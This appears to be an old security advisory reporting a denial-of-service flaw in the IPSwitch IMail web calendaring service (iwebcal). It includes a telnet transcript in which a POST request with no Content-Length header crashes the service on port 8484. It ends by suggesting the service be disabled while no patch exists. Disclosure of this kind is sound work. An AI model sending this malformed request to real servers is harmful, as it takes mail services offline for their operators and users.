#PRODUCT

IPSwitch IMail, All Current Versions

#VULNERABILITY

the IMail Web Calendaring service, iwebcal, can be crashed by issuing a malformed POST request.. specifically one that neglects to include a "Content-Length:" parameter

xxx@xx:~$ telnet 192.168.0.2 8484
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
POST / HTTP/1.0

Connection closed by foreign host.

[the iwebcal service has crashed]

xxx@xx:~$ telnet 192.168.0.2 8484
Trying 192.168.0.2...
telnet: connect to address 192.168.0.2: Connection refused

#EXPLOITATION

this is pretty obvious, it's a simple DoS.. and it looks as if remote code execution is not possible due to the nature of this programming error

#PATCH

sorry, no backdoors this time.. disable the service before someone else does? or wait for a vendor patch after a few hoaxes are debunked..

#EOF

I think having a hotmail account closed in under 2 hours is some kind of record, especially if you consider I didn't do anything.. so if you sent anything to hotmail, it's likely I didn't get it..

oh and no, this isn't one of the 2 remaining,
